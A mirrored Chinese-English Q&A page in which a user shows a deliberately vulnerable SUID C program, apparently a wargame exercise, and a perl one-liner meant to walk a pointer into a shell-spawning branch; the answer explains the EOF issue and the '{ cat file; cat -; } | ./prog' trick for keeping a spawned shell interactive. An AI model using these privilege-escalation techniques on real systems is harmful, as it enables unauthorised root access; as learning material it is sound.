gdb退出而不是生成shell [英] gdb exiting instead of spawning a shell

查看:42
本文介绍了gdb退出而不是生成shell的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在尝试利用SUID程序.

I am trying to exploit a SUID program.

程序为:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
    int i;
    printf("[ ");
    for(i=0; i < len; i++) printf("%x ", buf[i]); 
    printf(" ]\n");
}

int main()
{
    unsigned char buf[512];
    unsigned char *ptr = buf + (sizeof(buf)/2);
    unsigned int x;

    while((x = getchar()) != EOF) {
            switch(x) {
                    case '\n': print(buf, sizeof(buf)); continue; break;
                    case '\\': ptr--; break; 
                    default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
            }
    }
    printf("All done\n");
}

我们可以很容易地看到,如果我们以某种方式将ptr的内容更改为以CA开头的某个地址,那么将为我们生成一个新的shell.而且由于ptr通常以FF开头保存一些地址,因此减小它的方法是输入\字符.因此,我制作了一个0x35000000'\'字符的文件,最后是文件末尾的3'a'

We can easily see that if we somehow change ptr's contents to some address that starts with CA then a new shell will be spawned for us. And as ptr normally holds some address starting with FF the way to decrease it(ptr) is to enter \ character. So I make a file with 0x35000000 '\' characters, and finally 3 'a' at the end of the file

perl -e "print '\\\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa > file        # So that e() is called which actually spawns the shell

最后在gdb中,

run < file

但是,不是生成外壳gdb而是说

However instead of spawning a shell gdb is saying

process <some number> is executing new program /bin/dash
inferior 1 exited normally

然后返回gdb提示符而不是获取shell.我已经通过在适当的位置设置断点来确认,在调用setresuid()之前,ptr确实是从CA开始的.

And then back to gdb prompt instead of getting a shell. I have confirmed by setting breakpoints at appropriate locations that ptr is indeed starting with CA before setresuid() gets called.

此外,如果我将其通过管道发送到gdb之外,则不会发生任何事情.

Also if I pipe this outside of gdb, nothing happens.

./vulnProg < file

Bash提示返回.

请告诉我我在哪里犯错.

Please tell me where am I making mistake.

推荐答案

您可以通过编译更简单的测试程序来查看问题

You can see the problem by compiling a simpler test program

int main()  { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }

所有这些操作就是启动sed版本(而不是shell版本),并通过在前面加上"XXX:"来转换输入.

All this does is start a version of sed (rather than the shell) and converts input by prepending "XXX:".

如果运行生成的程序,然后在终端中键入,则会出现以下行为:

If you run the resulting program, and type in the Terminal you get behaviour like this:

$./a.out 
Hello
XXX:Hello
Test
XXX:Test
^D

这完全符合我们的预期.

Which is exactly as we'd expect.

现在,如果您从包含"Hello \ nWorld"的文件中输入内容,您将得到

Now if you feed it input from a file containing "Hello\nWorld" you get

$./a.out < file 
XXX:Hello
XXX:World
$

应用程序立即退出,当输入文件全部被读取后,应用程序的输入流将关闭.

And the application exits immediately, with the input stream to the application being closed when the input file has all been read.

如果要提供其他输入,则需要使用一种技巧来不中断输入流.

If you want to provide additional input, you need to use a trick to not break the input stream.

{ cat file ; cat - ; } | ./a.out

这会将来自文件的所有输入放入正在运行的 ./a.out 中,然后从stdin读取并添加它.

This will put all the input from file into a running ./a.out and then read from stdin and add that too.

$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test

这篇关于gdb退出而不是生成shell的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆